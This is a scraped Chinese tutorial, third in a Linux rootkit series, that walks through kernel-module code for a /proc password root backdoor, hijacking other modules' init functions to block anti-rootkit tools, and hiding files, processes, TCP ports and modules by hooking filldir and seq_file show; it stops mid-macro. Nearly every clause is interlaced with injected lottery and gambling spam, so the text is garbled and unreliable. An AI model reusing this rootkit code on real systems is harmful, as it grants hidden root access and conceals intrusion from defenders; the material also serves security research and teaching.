IT技術互動交流平台

Linux Rootkit係列三||1号彩票网APP:實例詳解 Rootkit 必備的基本功能

作者-__高德汇广场:佚名  發布日期---288彩票平台:2016-07-01 22:11:49

本文所需的完整代碼位於筆者的代碼倉庫_-晨星基金业绩排行榜:https://github.com/NoviceLive/research-rootkit--|奶妈论坛邀请码。
測試建議--yy飞机票格式: 不要在物理機測試_-虎门富民时装城!不要在物理機測試--_苏明星! 不要在物理機測試江简称!
概要
在 上一篇文章中筆者詳細地闡述了基於直接修改係統調用表 (即 sys_call_table /ia32_sys_call_table )的掛鉤_-|阿凡提返利网, 文章強調以代碼與動手實驗為核心_cctv9女主持人。
長話短說--卓易彩票闪退,本文也將以同樣的理念帶領讀者一一縷清 Rootkit 必備的基本功能|__自制载人飞机,包括提供 root 後門__|123彩票靠谱吗,控製內核模塊的加載-|_众彩网接待员是什么, 隱藏文件(提示|-上海老板手机号码:這是文章的重點與核心內容)--|苦参清痘无痕露,隱藏進程_|女式西服品牌,隱藏網絡端口||_365天天彩票快三,隱藏內核模塊等浪翻云博客。
短話長說|_中诚快递网点查询,本文不打算給大家介紹剩下的幾種不同的係統調用掛鉤技術|-北京矿业大学分数线:比如說-山东省联考成绩查询,修改 32 位係統調用( 使用 int $0x80 ) 進入內核需要使用的IDT (Interrupt descriptor table / 中斷描述符表) 項_易彩彩民登录5022, 修改 64位係統調用( 使用 syscall )需要使用的MSR (Model-specific register / 模型特定寄存器---优衣库bt,具體講_欧蒂芙喷立婷, 64位係統調用派遣例程的地址位於 MSR_LSTAR )-_优乐彩彩票首页;又比如基於修改係統調用派遣例程 (對 64 位係統調用而言也就是entry_SYSCALL_64 ) 的鉤法|_圣洁化身索拉卡多少钱; 又或者|-亿客隆彩票平台,內聯掛鉤 / InlineHooking-_诺丝超霸持久。
這些鉤法我們以後再談_--众发彩票app下载软件,現在-雷波溪洛渡,我們先專心把一種鉤法玩出花樣|_永盛彩票注册。上一篇文章講的鉤法_||亿博娱乐,也就是函數指針的替換||_雅虎 翻译,並不局限於鉤係統調用_--小学优秀教师事迹。本文會將這種方法應用到其他的函數上__|铁纹。
第一部分_|_山西黄河电视台直播:Rootkit 必備的基本功能
站穩--ab汽车网,坐好_-_038彩票下载网站。
1. 提供 root 後門
這個特別好講_|-芷江租房网,筆者就拿提供 root 後門這個功能開刀了__|黄江小顺车行。
大家還記得前段時間 全誌 (AllWinner ) 提供的 Linux 內核裏麵的 root 後門吧-正版only女装折扣店,不了解的可以看一下 FB 之前的文章_-芙蓉树下的博客,外媒報道-_|28彩票平台注册代理:中國知名ARM製造商全誌科技在Linux中留下內核後門_|-永盛国际投资靠谱吗?。
我們拿後門的那段源代碼改改就好了|-_1rdt军海。
具體說來_-|海康视频服务器,邏輯是這樣子的-_tksnis-009, 我們的內核模塊在/proc 下麵創建一個文件|365彩票有人中多少钱,如果某一個進程向這個文件寫入特定的內容(讀者可以把這個“特定的內容”理解成口令或者密碼)|_-色群qq,我們的內核模塊就把這個進程的uid 與 euid等等全都設置成 0--_魔尊火线1 3生化怒袭, 也就是 root 賬號的|帅猴手机网。這樣|-ovi套件官方下载,這個進程就擁有了 root權限|_vov绿茶眼线笔。
不妨拿 全誌 root 後門這件事來舉個例子-|钟欣潼艳照门,在運行有後門的 Linux 內核的設備上-_-xiannuhu, 進程隻需要向/proc/sunxi_debug/sunxi_debug 寫入 rootmydevice 就可以獲得 root權限|-|透蜜光学祛斑仪。
另外|-ems几天能到,我們的內核模塊創建的那個文件顯然是要隱藏掉的||-原北京市委书记。考慮到現在還沒講文件隱藏(本文後麵會談文件隱藏)|-_5320xm软件,所以這一小節的實驗並不包括將創建出來的文件隱藏掉-||杨幂遭人非礼。
下麵我們看看怎樣在內核模塊裏創建/proc 下麵的文件--106官网彩票提现不了。
全誌 root 後門代碼裏用到的create_proc_entry 是一個過時了的API||盐城市地图,而且在新內核裏麵它已經被去掉了-|_陕西二套都市快报。 考慮到筆者暫時還不考慮兼容老的內核_||覃奀垚,所以我們直接用新的API___重庆江北ume, proc_create 與 proc_remove _||陈冠希张柏芝图片, 分別用於創建與刪除一個/proc 下麵的項目|熊猫慢递公司。
函數原型如下__-33彩票安全吗。
# include
static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
void
proc_remove(struct proc_dir_entry *entry);
proc_create 參數的含義依次為--|亿博平台安全吗,文件名字-对开纸尺寸,文件訪問模式_|135彩票官方,父目錄||盈发彩票介绍,文件操作函數結構體__格瑞特月神学院。 我們重點關心第四個參數_-卓易彩票计划软件:struct file_operations裏麵是一些函數指針___南平市立医院,即對文件的各種操作的處理函數-_盐城一中, 比如|-|荆棘谷地图,讀( read)_-_易网彩票网开奖、寫( write )-256彩票首页。 該結構體的定義位於 linux/fs.h--重生一惹火娇医,後麵講文件隱藏的時候還會遇到它--_山海情缘东方神韵。
創建與刪除一個 /proc文件的代碼示例如下__铁木真炒锅。
struct proc_dir_entry *entry;
entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);
proc_remove(entry);
實現我們的需求隻需要提供一個寫操作( write )的處理函數就可以了||-168娱乐2,如下所示|__灵宝党政网。
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);
struct file_operations proc_fops = {
    .write = write_handler
};
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;
    // 分配內存-掌上彩票app苹果版。
    kbuff = kmalloc(count, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }
    // 複製到內核緩衝區_||众亿彩票平台。
    if (copy_from_user(kbuff, buff, count)) {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;
    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {
        // 用戶進程寫入的內容是我們的口令或者密碼||-四川卫视参数,
        // 把進程的 ``uid`` 與 ``gid`` 等等
        // 都設置成 ``root`` 賬號的___大冶热线,將其提權到 ``root``--qq2011下载。
        fm_alert("%s ", "Comrade, I will help you.");
        cred = (struct cred *)__task_cred(current);
        cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
        cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;

        fm_alert("%s ", "See you!");
    } else {
        // 密碼錯誤_无氨显影液,拒絕提權-168彩票靠谱吗。
        fm_alert("Alien, get out of here: %s. ", kbuff);
    }
    kfree(buff);
    return count;
}
實驗
編譯並加載我們的內核模塊_|_中国专科学校排名,以 Kali 為例||-月城ひとみ:Kali 默認隻有 root 賬號_-青岛小港洗头房, 我們可以用useradd  添加一個臨時的非 root 賬號來運行提權腳本(r00tme.sh )做演示-|-雾霾带来的五大意外收获。 效果參見下圖-镇江老兵被打事件, 可以看到在提權之前用戶的uid 是 1000|_金庸群侠传之苍龙逐日攻略,也就是普通用戶_||安利净水器,不能讀取 /proc/kcore __7k7小游戏; 提權之後_-陶瓷网坠,uid 變成了0|||中国胎记研究中心,也就是超級用戶___cf卡墙教程,可以讀取 /proc/kcore _|角竹光寿是什么成语。

2. 控製內核模塊的加載
想象一下|||360龙将官网,在一個月黑風高的夜晚-_易赢彩票网址下载,邪惡的讀者(誤||夜美梦娃娃网:善良的讀者)通過某種手段(可能的經典順序是RCE +LPE |叶彤倩, Remote CodeExecution / 遠程代碼執行 + Local Privilege Escalation / 本地特權提升)得到了某台機器的 root 命令執行||石家庄口碑网; 進而執行 Rootkit 的 Dropper程序釋放並配置好 Rootkit_|-微来购托尼团队, 讓其進入工作狀態_-易彩登录。
這時候||石家庄紫萱保健按摩,Rootkit 首先應該做的並不是提供 root 後門__|258彩票注册;而是||-金陵御沁园,一方麵-农行网银维护,我們應該嚐試把我們進來的門(漏洞)堵上-毕业证复印件生成器, 避免 其他不良群眾亂入--|神州行轻松卡c套餐,另一方麵|芭蕾舞剧牡丹亭,我們希望能控製好其他程序(這個其他程序主要是指反 Rootkit 程序與 其他 不良 Rootkit)|||新沂style,使其不加載 其他 不良內核模塊與我們在內核態血拚||淘宝开店认证。
理想狀態下_-|永胜集团充钱,我們的 Rootkit 獨自霸占內核態_-淘宝注册流程, 阻止所有不必要的代碼(尤其是反 Rootkit 程序與 其他 不良 Rootkit)在內核態執行-|晋城五人。當然-_dm500s价格,理想是艱巨的|-_王刚代言的酒,所以我們先做點容易的_||最近有什么好看的电影没,控製內核模塊的加載|||cctv10怪兽之谜1。
控製內核模塊的加載|_谈爱李白,我們可以從通知鏈機製下手|_-丝袜诱惑01。通知鏈的詳細工作機製讀者可以查看參考資料_|永盛国际手机彩票官网;簡單來講|_-2011手机,當某個子係統或者模塊發生某個事件時_-盈彩被骗,該子係統主動遍曆某個鏈表_-毕打自己人suki,而這個鏈表中記錄著其他子係統或者模塊注冊的事件處理函數_-镭波f730,通過傳遞恰當的參數調用這個處理函數達到事件通知的目的-_男科悍医。
具體來說-_|123彩票靠谱吗,我們注冊一個模塊通知處理函數|||掌上武汉APP,在模塊完成加載之後-|轩辕传奇破幽谷怎么打、開始初始化之前|查开房我帮你, 即模塊狀態為 MODULE_STATE_COMING|--云顶娱乐怎么提现, 將其初始函數掉包成一個什麼也不做的函數_--马向东。這樣一來|||青春雷锋 零票房,模塊不能完成初始化_易记彩票是什么网站,也就相當於殘廢了_-|保健按摩器材专卖店。
筆者決定多讀讀代碼--亿发彩票app,少講理論|-31999线路检测,所以我們先簡要分析一下內核模塊的加載過程|-众盈彩票合法吗。 相關代碼位於內核源碼樹的kernel/module.c |_阿拉尔租房信息。 我們從 init_module 開始看|||2013学位英语成绩查询。
SYSCALL_DEFINE3(init_module, void __user *, umod,
         unsigned long, len, const char __user *, uargs)
{
     int err;
     struct load_info info = { };
     // 檢查當前設置是否允許加載內核模塊-腌醋蒜。
     err = may_init_module();
     if (err)
         return err;
     pr_debug("init_module: umod=%p, len=%lu, uargs=%p ",
            umod, len, uargs);
     // 複製模塊到內核___寻找了解绝杀技。
     err = copy_module_from_user(umod, len, &info);
     if (err)
         return err;
     // 交給 ``load_module`` 進一步處理|||雅虎宝贝鱼在线翻译。
     return load_module(&info, uargs, 0);
}
模塊加載的主要工作都是 load_module 完成的---2019最新送300彩金平台,這個函數比較長_女总统音译歌词,這裏隻貼我們關心的一小段|_靖州二手房。
static int load_module(struct load_info *info, const char __user *uargs,
            int flags)
{
     // 這兒省略若幹代碼--|038彩票网站。
     /* Finally it's fully formed, ready to start executing. */
     // 模塊已經完成加載__白马军神传,可以開始執行了(但是還沒有執行)_长江流域地形图。
     err = complete_formation(mod, info);
     if (err)
         goto ddebug_cleanup;
     // 我們注冊的通知處理函數會在 ``prepare_coming_module`` 的
     // 時候被調用|-短号查长号,完成偷天換日--_日奈森亚梦h。在下麵我們還會分析一下這個函數|_天天向上20130412。
     err = prepare_coming_module(mod);
     if (err)
         goto bug_cleanup;
     // 這兒省略若幹代碼_-娱乐天地点检下载网址。
     // 在 ``do_init_module`` 裏麵_||萌节,模塊的初始函數會被執行_|234彩官网。
     // 然而在這個時候|_-陕西职业技能鉴定中心,我們早就把他的初始化函數掉包了(/偷笑)--hp5200打印机驱动下载。
     return do_init_module(mod);
     // 這兒省略若幹代碼||-罗格电器:錯誤時釋放資源等-众博国际怎么样。
}
static int prepare_coming_module(struct module *mod)
{
     int err;
     ftrace_module_enable(mod);
     err = klp_module_coming(mod);
     if (err)
         return err;

 

     // 就是這兒_|广州话正音字典!調用通知鏈中的通知處理函數--建筑工程机械配件。
     // ``MODULE_STATE_COMING`` 會原封不動地傳遞給我們的處理函數_|_至尊争霸app,
     // 我們的處理函數隻需處理這個通知--神州行充值卡序列号。
     blocking_notifier_call_chain(&module_notify_list,
                      MODULE_STATE_COMING, mod);
     return 0;
}
說的具體點|_雪碧真我飞扬, 我們注冊的通知鏈處理函數是在 notifier_call_chain函數裏被調用的|_助赢计划软件,調用層次為_云顶娱乐彩票如何注册: blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain -|_钱学森的女儿。有疑惑的讀者可以細致地看看這部分代碼|-_谁能百里挑一王可达, 位於內核源碼樹的kernel/notifier.c -_-铜电阻率。
代碼分析告一段落___新乡窝窝团购网,接下來我們看看如何注冊模塊通知處理函數|-神雕之帝王再生。用於描述通知處理函數的結構體是 struct notifier_block _-台湾身份证, 定義如下 __-胶衣束缚。
typedef  int (*notifier_fn_t)(struct notifier_block *nb,
             unsigned long action, void *data);
struct notifier_block {
     notifier_fn_t notifier_call;
     struct notifier_block __rcu *next;
     int priority;
};
注冊或者注銷模塊通知處理函數可以使用 register_module_notifier 或者unregister_module_notifier -||成都红绳网,函數原型如下|_盈彩在线怎么玩。
int
register_module_notifier(struct notifier_block *nb);
int
unregister_module_notifier(struct notifier_block *nb);
編寫一個通知處理函數__口工漫画里库番本,然後填充 struct notifier_block 結構體_369彩票, 最後使用register_module_notifier 注冊就可以了-全国有多少人叫。代碼片段如下|-足球红牌罚下有替补吗。
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);
struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};
上麵的代碼是聲明處理函數並填充所需結構體|_泥头车图片; 下麵是處理函數具體實現||_注册送彩金38不限id。
int
fake_init(void);
void
fake_exit(void);
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定義鎖_|-普法网络知识竞赛答题。
    DEFINE_SPINLOCK(module_notifier_spinlock);
    module = data;
    fm_alert("Processing the module: %s ", module->name);
    //保存中斷狀態加鎖||_国际品牌洗发水。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s. ",
                 module->name);
        // 偷天換日-_约彩彩票不能登录:篡改模塊的初始函數與退出函數|--132彩票苹果版。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }
    // 恢複中斷狀態解鎖||_瓯江影城。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);
    return NOTIFY_DONE;
}
int
fake_init(void)
{
    fm_alert("%s ", "Fake init.");
    return 0;
}
void
fake_exit(void)
{
    fm_alert("%s ", "Fake exit.");
    return;
}
實驗
測試時我們還需要構建另外一個簡單的模塊( test )來測試_-蒙牛纯牛奶图片,從下圖可以看到在加載用於控製模塊加載的內核模塊( komonko ) 之前|_银利半岛卡,test 的初始函數與退出函數都正常的執行了-徐娇个人资料; 在加載 komonko 之後_|焊锡大师,無論是加載 test 還是卸載 test __0165彩票正版, 它的初始函數與退出函數都沒有執行|-易盈彩票网上登录,執行的是我們掉包後的初始函數與退出函數-__长沙口碑网。

3. 隱藏文件
說好的重點內容文件隱藏來了-徐娇个人资料。不過說到文件隱藏-连锁销售在中国,我們不妨先看看文件遍曆的實現||_水貂图片, 也就是係統調用getdents / getdents64 -_|毒黄瓜事件,簡略地瀏覽它在內核態服務函數(sys_getdents)的源碼 (位於fs/readdir.c )-2011qq官方下载正式版免费,我們可以看到如下調用層次_-36选7好彩开奖结果, sys_getdents ->iterate_dir -> struct file_operations 裏的 iterate ->這兒省略若幹層次 -> struct dir_context 裏的 actor -_-苏芩博客,也就是filldir --众彩彩票靠谱吗。
filldir 負責把一項記錄(比如說目錄下的一個文件或者一個子目錄)填到返回的緩衝區裏-11选5彩票走势怎么分析。如果我們鉤掉 filldir --我们约会吧张中媛,並在我們的鉤子函數裏對某些特定的記錄予以直接丟棄-_-李天一受害老师照片,不填到緩衝區裏|_|设备维护记录表,上層函數與應用程序就收不到那個記錄|-永城,也就不知道那個文件或者文件夾的存在了_-多彩宝石图纸,也就實現了文件隱藏|_双色球精准预测6十1。

 

具體說來|环球智控网,我們的隱藏邏輯如下__-2019王中王资料肖中: 篡改根目錄(也就是“/”)的 iterate為我們的假 iterate _-|长沙限行, 在假函數裏把 struct dir_context 裏的 actor替換成我們的 假 filldir __-众赢彩票登陆,假 filldir 會把需要隱藏的文件過濾掉|-船位船讯网。
下麵是假 iterate 與 假 filldir 的實現__普乐菲。
int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 備份真的 ``filldir``_乐购彩票,以備後麵之需--2018白菜网论坛。
    real_filldir = ctx->actor;
    // 把 ``struct dir_context`` 裏的 ``actor``_-|雷柏1810,
    // 也就是真的 ``filldir``
    // 替換成我們的假 ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;
    return real_iterate(filp, ctx);
}
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 如果是需要隱藏的文件_||中国梦想秀圆梦专场,直接返回__运盛彩票,不填到緩衝區裏--易记彩票合法吗。
        fm_alert("Hiding: %s", name);
        return 0;
    }
    /* pr_cont("%s ", name); */
    // 如果不是需要隱藏的文件--沽源贴吧,
    // 交給的真的 ``filldir`` 把這個記錄填到緩衝區裏--万科集团总部地址。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
鉤某個目錄的 struct file_operations 裏的函數-__qq2011版, 筆者寫了一個通用的宏-||诸城百盛吧。
# define set_f_op(op, path, new, old)                      
    do {                                                   
        struct file *filp;                                 
        struct file_operations *f_op;                      
                                                           
        fm_alert("Opening the path: %s. ", path);         
        filp = filp_open(path, O_RDONLY, 0);               
        if (IS_ERR(filp)) {                                
            fm_alert("Failed to open %s with error %ld. ",
                     path, PTR_ERR(filp));                 
            old = NULL;                                    
        } else {                                           
            fm_alert("Succeeded in opening: %s ", path);  
            f_op = (struct file_operations *)filp->f_op;   
            old = f_op->op;                                

 

                                                           
            fm_alert("Changing iterate from %p to %p. ",  
                     old, new);                            
            disable_write_protection();                    
            f_op->op = new;                                
            enable_write_protection();                     
        }                                                  
    } while(0)
實驗
實驗時_-|恒大队歌,筆者隨(gu)手(yi)用來隱藏的文件名-三星i5500: 032416_525.mp4 --_诸葛智彩软件怎么样。從下圖我們可以看到||译乐通,在加載我們的內核模塊( fshidko )之前||瑞柏儿, test目錄下的 032416_525.mp4 是可以列舉出來的_-|家有辣嫂2; 但是加載 fshidko之後就看不到了-||168福利彩票网正规吗,並且在 dmesg 的日誌裏_||qq防沉迷网站, 我們可以看到 fshidko打印的隱藏了這個文件的信息_|-选票样式。

選讀內容_|_尚志都市:相關內核源碼的簡略分析
SYSCALL_DEFINE3(getdents, unsigned int, fd,
         struct linux_dirent __user *, dirent, unsigned int, count)
{
     // 這兒省略若幹代碼--温雅泡泡染发剂。
     struct getdents_callback buf = {
         .ctx.actor = filldir, // 最後的接鍋英雄-_注册送彩金的彩票网站。
         .count = count,
         .current_dir = dirent
     };
     // 這兒省略若幹代碼--长红娱乐官网。
     // 跟進 ``iterate_dir``_南京长江骨科医院,
     // 可以看到它是通過 ``struct file_operations`` 裏
     // ``iterate`` 完成任務的|-|小班下学期个人总结。
     error = iterate_dir(f.file, &buf.ctx);
     // 這兒省略若幹代碼|_-网上购物秋装。
     return error;
}
int iterate_dir(struct file *file, struct dir_context *ctx)
{
     struct inode *inode = file_inode(file);
     int res = -ENOTDIR;
     // 如果 ``struct file_operations`` 裏的 ``iterate``
     // 為 ``NULL``_|-诺基亚ovi套件官方下载,返回 ``-ENOTDIR`` -|打屁屁视频家法。
     if (!file->f_op->iterate)
         goto out;
     // 這兒省略若幹代碼|--芝兰粉。
     res = -ENOENT;
     if (!IS_DEADDIR(inode)) {
         ctx->pos = file->f_pos;
         // ``iterate_dir`` 把鍋甩給了
         // ``struct file_operations`` 裏的 ``iterate``|__预感的意思,
         // 對這個 ``iterate`` 的分析請看下麵|亿盈彩票注册。
         res = file->f_op->iterate(file, ctx);
         file->f_pos = ctx->pos;
         // 這兒省略若幹代碼_||掌上平台投注。
     }
     // 這兒省略若幹代碼_-南昌商学院教务网。
out:
     return res;
}
這一層一層的剝開2017香港金像奖直播, 我們來到了 struct file_operations 裏麵的 iterate-|-132彩票软件, 這個 iterate 在不同的文件係統有不同的實現_|c720w, 下麵(位於fs/ext4/dir.c ) 是針對 ext4文件係統的 struct file_operations -|_208彩下载, 我們可以看到ext4 文件係統的 iterate 是ext4_readdir |-_春暖花开 亚洲。

 

const struct file_operations ext4_dir_operations = {
     .llseek         = ext4_dir_llseek,
     .read       = generic_read_dir,
     .iterate    = ext4_readdir,
     .unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
     .compat_ioctl   = ext4_compat_ioctl,
#endif
     .fsync      = ext4_sync_file,
     .open       = ext4_dir_open,
     .release    = ext4_release_dir,
};
ext4_readdir 經過各種各樣的操作之後會通過 filldir把目錄裏的項目一個一個的填到 getdents返回的緩衝區裏_|-和龙市政务信息网,緩衝區裏是一個個的 struct linux_dirent |-_投票软件好喜福。我們的隱藏方法就是在 filldir 裏把需要隱藏的項目給過濾掉--_掌上工商(APP)(河南版)。
4. 隱藏進程
Linux 上純用戶態枚舉並獲取進程信息|_上海中潭癫痫病医院,/proc 是唯一的去處|_雅虎宝贝鱼在线翻译。所以||-建厂网,對用戶態隱藏進程__尹国驹 何鸿燊,我們可以隱藏掉/proc 下麵的目錄--|opera酒店管理系统,這樣用戶態能枚舉出來進程就在我們的控製下了-|-帅同文学。讀者現在應該些許體會到為什麼文件隱藏是本文的重點內容了__|辽宁影视剧频道。
我們修改一下上麵隱藏文件時的假 filldir 即可實現進程隱藏-|临川晚报, 如下所示|游彩网提现不到账。
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;
    // 把字符串變成長整數_-殷世航。
    pid = simple_strtol(name, &endp, 10);
    if (pid == SECRET_PROC) {
        // 是我們需要隱藏的進程-__人形何首乌,直接返回__105彩票是哪个公司的。
        fm_alert("Hiding pid: %ld", pid);
        return 0;
    }
    /* pr_cont("%s ", name); */
    // 不是需要隱藏的進程||定襄新闻,交給真的 ``filldir`` 填到緩衝區裏_||垃圾短信轰炸机。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
實驗
筆者選擇隱藏 pid 1 來做演示|_-长江大桥有多长。在使用systemd 的係統上||-长沙职工大学,pid 1 總是 systemd-温州大学城市学院,看下圖-_快乐大本营张惠妹, 我們可以看到加載我們的模塊( pshidko )之後_360彩票软件手机, ps -A看不到 systemd了||哈雷摩托车官方网;把 pshidko 卸載掉||聂曦,systemd就顯示出來了-索爱w750。

5. 隱藏端口
向用戶態隱藏端口-__和龙市政务信息网, 其實就是在用戶進程讀/proc下麵的相關文件獲取端口信息時|-盈盈彩是赌博吗, 把需要隱藏的的端口的內容過濾掉||炮击事件,使得用戶進程讀到的內容裏麵沒有我們想隱藏的端口-自己人歌词。
具體說來|-|管栎,看下麵的表格-|_长三角模具城。
網絡類型 /proc 文件 內核源碼文件 主要實現函數
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show
本小節以TCP /IPv4為例_-长阳国际城业主论坛,其他情況讀者可舉一反三__里维杰森。
文件的第一行是每一列的含義||金寨房屋出租, 後麵的行就是當前網絡連接(socket /套接字)的具體信息-_永胜国际彩票合法吗。 這些信息是通過 seq_file 接口在 /proc 中暴露的_-图吧公交。seq_file 擁有的操作函數如下_|_斗战神怎么入定修炼,我們需要關心是 show |-上海中潭癫痫病医院。
struct seq_operations {
     void * (*start) (struct seq_file *m, loff_t *pos);
     void (*stop) (struct seq_file *m, void *v);
     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
     int (*show) (struct seq_file *m, void *v);
};
前麵我們提到了隱藏端口也就是在進程讀取 /proc/net/tcp 等文件獲取端口信息時過濾掉不希望讓進程看到的內容-_|花野真衣种子,具體來講_--约彩彩票安全吗, 就是將/proc/net/tcp 等文件的 show 函數篡改成我們的鉤子函數|_|陈斌凯,然後在我們的假 show 函數裏進行過濾__金大班结局。
我們先看看用來描述 seq_file 的結構體_溶剂脱色剂,即 struct seq_file __宅急送陈平, 定義於linux/seq_file.h |_盈彩吧是正规的吗。 seq_file 有一個緩衝區_|-118彩票1007,也就是 buf 成員_-龙之崛起布局,容量是 size ||诺基亚5320刷机,已經使用的量是 count -_|远图国际彩票是什么;理解了這幾個成員的作用就能理解用於過濾端口信息的假 tcp_seq_show 了|-_诺基亚ovi套件官方下载。
struct seq_file {
     char *buf; // 緩衝區_-大乐透5十2准确预测。
     size_t size; // 緩衝區容量|_江门轻轨站。
     size_t from;
     size_t count; // 緩衝區已經使用的量_|_永盛国际彩票靠谱么。
     size_t pad_until;
     loff_t index;
     loff_t read_pos;
     u64 version;
     struct mutex lock;
     const struct seq_operations *op;
     int poll_event;
     const struct file *file;
     void *private;
};
鉤 /proc/net/tcp 等文件的 show 函數的方法與之前講隱藏文件鉤iterate 的方法類似--|推百拉, 用下麵的宏可以通用的鉤這幾個文件 seq_file接口裏麵的操作函數_|苏州园林卡景点。
# define set_afinfo_seq_op(op, path, afinfo_struct, new, old)  

 

    do {                                                       
        struct file *filp;                                     
        afinfo_struct *afinfo;                                 
                                                               
        filp = filp_open(path, O_RDONLY, 0);                   
        if (IS_ERR(filp)) {                                    
            fm_alert("Failed to open %s with error %ld. ",    
                     path, PTR_ERR(filp));                     
            old = NULL;                                        
        }                                                      
                                                               
        afinfo = PDE_DATA(filp->f_path.dentry->d_inode);       
        old = afinfo->seq_ops.op;                              
        fm_alert("Setting seq_op->" #op " from %p to %p.",     
                 old, new);                                    
        afinfo->seq_ops.op = new;                              
                                                               
        filp_close(filp, 0);                                   

 

    } while (0)
最後长红彩票代理,我們看看假 show 函數是如何過濾掉端口信息的-__美丽霸道的授课老师。
注1 -_小时代电影票价: TMPSZ 是 150||圈内老鬼,內核源碼裏是這樣定義的__金立a5游戏下载。換句話說|-铜的电阻率,/proc/net/tcp 裏的每一條記錄都是 149 個字節(不算換行)長_--丧尸围城2 绝密档案,不夠的用空格補齊-|038彩票ios。
注2 ---365足彩: 我們不用 TMPSZ 也可以_-午夜神,並且會更加靈活-||三星手机型号大全,具體細節請看下麵隱藏內核模塊時 /proc/modules 的假 show函數是怎麼處理的_|-众博彩票登录。
int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    char needle[NEEDLE_LEN];
    // 把端口轉換成 16 進製--6700s刷机,前麵帶個分號|--222彩票安卓,避免誤判__oppo805。
    // 用來判斷這項記錄是否需要過濾掉--|天翼无线上网卡驱动。
    snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
    // real_seq_show 會往 buf 裏填充一項記錄
    ret = real_seq_show(seq, v);
    // 該項記錄的起始 = 緩衝區起始 + 已有量 - 每條記錄的大小-_-镭波f730。
    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        fm_alert("Hiding port %d using needle %s. ",
                 SECRET_PORT, needle);
        // 記錄裏包含我們需要隱藏的的端口信息||_1元可提现的手机棋牌,
        // 把 count 減掉一個記錄大小-_成都男子街头杀妻,
        // 相當於把這個記錄去除掉了||亿彩彩票是什么。
        seq->count -= TMPSZ;
    }
    return ret;
}
實驗
我們拿TCP /IPv4 111 端口來做演示__陇县地图,讀者需要根據實際測試時的環境做必要改動_|掌信彩网站。 如圖__|土特产店名,加載 pthidko之前||优信彩票注册登录,我們可以看到 111 端口處於監聽狀態_|-郑州长通物流电话;加載之後|_|尊龙娱乐假的,這條記錄不見了|||moluoke,被隱藏起來-|_尊彩网app; 把 pthidko卸載掉---头彩饰品,這條記錄又顯示出來了|_-浦东科普网。

6. 隱藏內核模塊
《Linux Rootkit 係列一||-苏州寒山寺门票价格: LKM的基礎編寫及隱藏》一文裏提到了隱藏內核模塊的兩種方式|炫舞团名, 一種可以從 lsmod 中隱藏掉|-陈大伟博客,另一種可以從 /sys/module 裏隱藏掉-|_南京联单印刷。然而-__美国实体娃娃,這兩種隱藏方式都使得模塊沒法卸載了_||15分彩正规吗。在我們開發的初級階段|_瑟银矿哪里多,這一點也不方便調試-__远博娱乐,筆者暫時就不講這兩個了||雅漾防晒霜保质期。
我們看看另外的思路---远图国际彩票是什么。從 /sys/module 裏隱藏的話-_-易彩彩票是诈骗吗,我們使用之前隱藏文件的方式隱藏掉就可以了|-_爱相约。我想聰明的讀者應該想到了這點__壮警的烦恼(h) txt,這再一次證明了文件隱藏的意義||_南疆暴乱。
那麼怎麼從 lsmod 裏隱藏掉呢|_-135彩票受法律保护吗?。 仔細回想一下_|银彩娱乐怎么破解,既然 lsmod 的數據來源是/proc/modules |爸爸去哪儿韩国版全集, 那用我們隱藏端口時采用的方式就好了|_昆明三对: 鉤掉/proc/modules 的 show 函數|_坛缘坊, 在我們的假 show函數裏過濾掉我們想隱藏的模塊_|8岁儿童营养餐。
粗略地瀏覽內核源碼-上海情侣网吧门,我們可以發現|-讣告范本, /proc/modules 的實現位於kernel/module.c |--金庸群侠传2全攻略, 並且主要的實現函數是 m_show __北华信集团。
接下來的問題是_-陕西交通厅曹森, 我們怎麼鉤這個文件 seq_file 接口裏的 show 函數呢|_博客大巴登陆,鉤法與 /proc/net/tcp 並不一樣|_雳剑电视剧,但是類似||2019网上怎么买彩票,請看下麵的宏__256买彩票安卓版2017。
# define set_file_seq_op(opname, path, new, old)                   
    do {                                                           
        struct file *filp;                                         
        struct seq_file *seq;                                      
        struct seq_operations *seq_op;                             
                                                                   
        fm_alert("Opening the path: %s. ", path);                 
        filp = filp_open(path, O_RDONLY, 0);                       

 

        if (IS_ERR(filp)) {                                        
